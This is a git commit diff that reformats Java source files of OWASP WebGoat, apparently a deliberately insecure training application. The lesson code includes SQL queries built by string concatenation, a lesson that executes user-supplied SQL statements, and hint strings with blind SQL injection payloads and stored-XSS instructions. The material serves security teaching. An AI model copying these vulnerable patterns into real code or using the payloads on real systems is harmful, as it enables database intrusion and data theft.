Formatting according to OWASP WebGoat Java Style

git-svn-id: http://webgoat.googlecode.com/svn/trunk@359 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
brandon.devries 2008-08-05 17:32:17 +00:00
parent acab6e9274
commit ba6560b24a
77 changed files with 855 additions and 1108 deletions

View File

@ -82,7 +82,7 @@ public class Catcher extends HammerHead
// setCacheHeaders(response, 0); // setCacheHeaders(response, 0);
WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION); WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
session.update(request, response, this.getServletName()); // FIXME: Too much in this session.update(request, response, this.getServletName()); // FIXME: Too much in this
// call. // call.
int scr = session.getCurrentScreen(); int scr = session.getCurrentScreen();
Course course = session.getCourse(); Course course = session.getCourse();

View File

@ -11,7 +11,6 @@ import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -504,9 +503,9 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
{ {
s.setMessage("Could not find source file"); s.setMessage("Could not find source file");
src = ("Could not find the source file or source file does not exist.<br/>" src = ("Could not find the source file or source file does not exist.<br/>"
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress() + "?subject=Source " + "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress()
+ getSourceFileName() + " not found. Lesson: " + s.getCurrentLesson().getLessonName() + "\">" + + "?subject=Source " + getSourceFileName() + " not found. Lesson: "
s.getWebgoatContext().getFeedbackAddress() + "</a>"); + s.getCurrentLesson().getLessonName() + "\">" + s.getWebgoatContext().getFeedbackAddress() + "</a>");
} }
Html html = new Html(); Html html = new Html();
@ -531,15 +530,15 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
try try
{ {
//System.out.println("Solution: " + getLessonSolutionFileName()); // System.out.println("Solution: " + getLessonSolutionFileName());
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false); src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName()))), false);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
src = ("Could not find the solution file or solution file does not exist.<br/>" src = ("Could not find the solution file or solution file does not exist.<br/>"
+ "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress() + "?subject=Solution " + "Send this message to: <a href=\"mailto:" + s.getWebgoatContext().getFeedbackAddress()
+ getLessonSolutionFileName() + " not found. Lesson: " + s.getCurrentLesson().getLessonName() + "\">" + + "?subject=Solution " + getLessonSolutionFileName() + " not found. Lesson: "
s.getWebgoatContext().getFeedbackAddress() + "</a>"); + s.getCurrentLesson().getLessonName() + "\">" + s.getWebgoatContext().getFeedbackAddress() + "</a>");
} }
// Solutions are html files // Solutions are html files

View File

@ -78,10 +78,11 @@ public class BackDoors extends SequentialLessonAdapter
{ {
return concept2(s); return concept2(s);
} }
private void addDBEntriesToEC(ElementContainer ec, ResultSet rs) private void addDBEntriesToEC(ElementContainer ec, ResultSet rs)
{ {
try { try
{
if (rs.next()) if (rs.next())
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
@ -92,7 +93,7 @@ public class BackDoors extends SequentialLessonAdapter
tr.addElement(new TH("Salary")); tr.addElement(new TH("Salary"));
tr.addElement(new TH("E-Mail")); tr.addElement(new TH("E-Mail"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(rs.getString("userid"))); tr.addElement(new TD(rs.getString("userid")));
tr.addElement(new TD(rs.getString("password"))); tr.addElement(new TD(rs.getString("password")));
@ -112,7 +113,8 @@ public class BackDoors extends SequentialLessonAdapter
} }
ec.addElement(t); ec.addElement(t);
} }
} catch (SQLException e) { } catch (SQLException e)
{
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();
} }
@ -166,9 +168,8 @@ public class BackDoors extends SequentialLessonAdapter
userInput = SELECT_ST + userInput; userInput = SELECT_ST + userInput;
String[] arrSQL = userInput.split(";"); String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s); Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2) if (arrSQL.length == 2)
{ {
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1) if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != -1)
@ -178,7 +179,6 @@ public class BackDoors extends SequentialLessonAdapter
} }
ResultSet rs = statement.executeQuery(arrSQL[0]); ResultSet rs = statement.executeQuery(arrSQL[0]);
addDBEntriesToEC(ec, rs); addDBEntriesToEC(ec, rs);
} }
return ec; return ec;

View File

@ -89,8 +89,8 @@ public class BlindSqlInjection extends LessonAdapter
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query); ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first(); answer_results.first();
//System.out.println("Account: " + accountNumber); // System.out.println("Account: " + accountNumber);
//System.out.println("Answer : " + answer_results.getString(1)); // System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1))) if (accountNumber.toString().equals(answer_results.getString(1)))
{ {
makeSuccess(s); makeSuccess(s);
@ -144,7 +144,6 @@ public class BlindSqlInjection extends LessonAdapter
return new StringElement("By Chuck Willis"); return new StringElement("By Chuck Willis");
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
@ -153,35 +152,33 @@ public class BlindSqlInjection extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then " + "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing " + "select the first character of the target element and do a start narrowing "
+ "down the character using > and <" + "down the character using > and <"
+ "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions " + "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax."); + "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: " + "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string " + "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>substr(string, start, length) - returns a " + "<br><br>substr(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters " + "substring of string starting at the start character and going for length characters "
+ "<br><br>ascii(string) will return the ascii value of the first character in string " + "<br><br>ascii(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one"); + "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? " + " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM + "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); " + ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is" + "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no."); + "invalid then answer is no.");
hints.add("Another example: is the second character of the first_name of userid " hints.add("Another example: is the second character of the first_name of userid " + TARGET_ACCT_NUM
+ TARGET_ACCT_NUM + " greater than 'm' (ascii 109)? "
+ " greater than 'm' (ascii 109)? " + "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ "<br><br>101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=" + ") , 2 , 1) ) > 109 ); "
+ TARGET_ACCT_NUM + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ ") , 2 , 1) ) > 109 ); " + "invalid then answer is no.");
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
return hints; return hints;
} }
@ -233,7 +230,7 @@ public class BlindSqlInjection extends LessonAdapter
super.handleRequest(s); super.handleRequest(s);
} catch (Exception e) } catch (Exception e)
{ {
//System.out.println("Exception caught: " + e); // System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }

View File

@ -68,7 +68,7 @@ public class CSRF extends LessonAdapter
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message // message
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies") private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);

View File

@ -40,7 +40,7 @@ public class Category implements Comparable
{ {
public final static Category INTRODUCTION = new Category("Introduction", new Integer(5)); public final static Category INTRODUCTION = new Category("Introduction", new Integer(5));
public final static Category GENERAL = new Category("General", new Integer(100)); public final static Category GENERAL = new Category("General", new Integer(100));
public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(200)); public final static Category ACCESS_CONTROL = new Category("Access Control Flaws", new Integer(200));
@ -64,7 +64,7 @@ public class Category implements Comparable
public final static Category INJECTION = new Category("Injection Flaws", new Integer(1200)); public final static Category INJECTION = new Category("Injection Flaws", new Integer(1200));
public final static Category INSECURE_COMMUNICATION = new Category("Insecure Communication", new Integer(1300)); public final static Category INSECURE_COMMUNICATION = new Category("Insecure Communication", new Integer(1300));
public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1400)); public final static Category INSECURE_CONFIGURATION = new Category("Insecure Configuration", new Integer(1400));
public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(1500)); public final static Category INSECURE_STORAGE = new Category("Insecure Storage", new Integer(1500));

View File

@ -282,7 +282,6 @@ public class Challenge2Screen extends SequentialLessonAdapter
*/ */
/* /*
* (non-Javadoc) * (non-Javadoc)
*
* @see lessons.LessonAdapter#doStage3(session.WebSession) * @see lessons.LessonAdapter#doStage3(session.WebSession)
*/ */
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
@ -631,7 +630,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
t.setBorder(1); t.setBorder(1);
} }
String[] colWidths = new String[]{"55", "110", "260", "70"}; String[] colWidths = new String[] { "55", "110", "260", "70" };
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0])); tr.addElement(new TH().addElement("Protocol").setWidth(colWidths[0]));
tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1])); tr.addElement(new TH().addElement("Local Address").setWidth(colWidths[1]));
@ -678,7 +677,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
tr = new TR(); tr = new TR();
TD td; TD td;
StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t "); StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t ");
while (tokens.hasMoreTokens() && columnCount <4) while (tokens.hasMoreTokens() && columnCount < 4)
{ {
td = new TD().setWidth(colWidths[columnCount++]); td = new TD().setWidth(colWidths[columnCount++]);
tr.addElement(td.addElement(tokens.nextToken())); tr.addElement(td.addElement(tokens.nextToken()));
@ -725,7 +724,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
osw.write(message); osw.write(message);
} catch (Exception e) } catch (Exception e)
{ {
//System.out.println("Couldn't write " + message + " to " + s); // System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace(); e.printStackTrace();
} }
} }

View File

@ -95,8 +95,6 @@ public class ClientSideFiltering extends SequentialLessonAdapter
t.setID("hiddenEmployeeRecords"); t.setID("hiddenEmployeeRecords");
t.setStyle("display: none"); t.setStyle("display: none");
workspaceDiv.addElement(t); workspaceDiv.addElement(t);
@ -334,7 +332,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter
hints.add("Stage 1: Use Firebug to find where the information is stored on the client side."); hints.add("Stage 1: Use Firebug to find where the information is stored on the client side.");
hints.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu."); hints
.add("Stage 1: Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Stage 1: Look in the last row of the hidden table."); hints.add("Stage 1: Look in the last row of the hidden table.");

View File

@ -137,7 +137,7 @@ public class ConcurrencyCart extends LessonAdapter
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); // System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
} }
@ -154,9 +154,7 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
* ********************************************************************* ****************** * PURCHASING PAGE
* PURCHASING PAGE **********************************
* *********************************************************************
*/ */
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3,
@ -303,9 +301,7 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
* ********************************************************************* ****************** * CONFIRMATION PAGE
* CONFIRMATION PAGE ********************************
* *********************************************************************
*/ */
private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
@ -420,9 +416,7 @@ public class ConcurrencyCart extends LessonAdapter
} }
/* /*
* ********************************************************************* ****************** * SHOPPING PAGE
* SHOPPING PAGE **********************************
* *********************************************************************
*/ */
private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)

View File

@ -98,23 +98,25 @@ public class CrossSiteScripting extends GoatHillsFinancial
{ {
return Category.XSS; return Category.XSS;
} }
public String getLessonSolutionFileName(WebSession s)
public String getLessonSolutionFileName(WebSession s) { {
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab XSS/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions/Lab XSS/Lab " + stage + ".html";
return solutionFileName; return solutionFileName;
} }
@Override @Override
public String getSolution(WebSession s) { public String getSolution(WebSession s)
{
String src = null; String src = null;
try try
{ {
//System.out.println("Solution: " + getLessonSolutionFileName(s)); // System.out.println("Solution: " + getLessonSolutionFileName(s));
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
@ -123,7 +125,7 @@ public class CrossSiteScripting extends GoatHillsFinancial
return src; return src;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
@ -148,9 +150,9 @@ public class CrossSiteScripting extends GoatHillsFinancial
// Stage 3 // Stage 3
// Stage 4 // Stage 4
hints.add("Stage4: Examine content served in response to form submissions looking for data taken from the form."); hints
.add("Stage4: Examine content served in response to form submissions looking for data taken from the form.");
hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util"); hints.add("Stage4: There is a class called HtmlEncoder in org.owasp.webgoat.util");
// Stage 5 // Stage 5
hints hints
@ -179,8 +181,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>" + instructions = "Stage 2: Block Stored XSS using Input Validation.<br><br>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block the stored XSS before it can be written to the database. " + "Implement a fix to block the stored XSS before it can be written to the database. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
} }
@ -192,8 +194,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
} }
else if (STAGE4.equals(stage)) else if (STAGE4.equals(stage))
{ {
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>" + instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block XSS after it is read from the database. " + "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
} }
@ -205,8 +207,8 @@ public class CrossSiteScripting extends GoatHillsFinancial
} }
else if (STAGE6.equals(stage)) else if (STAGE6.equals(stage))
{ {
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>" + instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block this reflected XSS attack. " + "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective."; + "Repeat step 5. Verify that the attack URL is no longer effective.";
} }
@ -258,28 +260,28 @@ public class CrossSiteScripting extends GoatHillsFinancial
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }

View File

@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
@ -141,8 +141,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -104,11 +104,11 @@ public class FindProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
@ -171,8 +171,8 @@ public class FindProfile extends DefaultLessonAction
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id)); setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
} }

View File

@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
@ -111,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction
{ {
// The input validation can be added using a parsing component // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component // or by using an inline regular expression. The parsing component
// is the better solution. // is the better solution.
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
@ -129,7 +129,6 @@ public class UpdateProfile extends DefaultLessonAction
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,

View File

@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.apache.ecs.xhtml.html; import org.apache.ecs.xhtml.html;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
@ -16,7 +15,6 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
import com.sun.corba.se.spi.activation.Server; import com.sun.corba.se.spi.activation.Server;
@ -92,7 +90,6 @@ public class ViewProfile extends DefaultLessonAction
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
@ -108,15 +105,15 @@ public class ViewProfile extends DefaultLessonAction
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
@ -131,14 +128,13 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given // Query the database for the profile data of the given employee if "owned" by the given
// user // user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
@ -162,11 +158,10 @@ public class ViewProfile extends DefaultLessonAction
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -124,8 +124,8 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"+ instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack. " + "Verify that 'Jerry' is affected by the attack. "
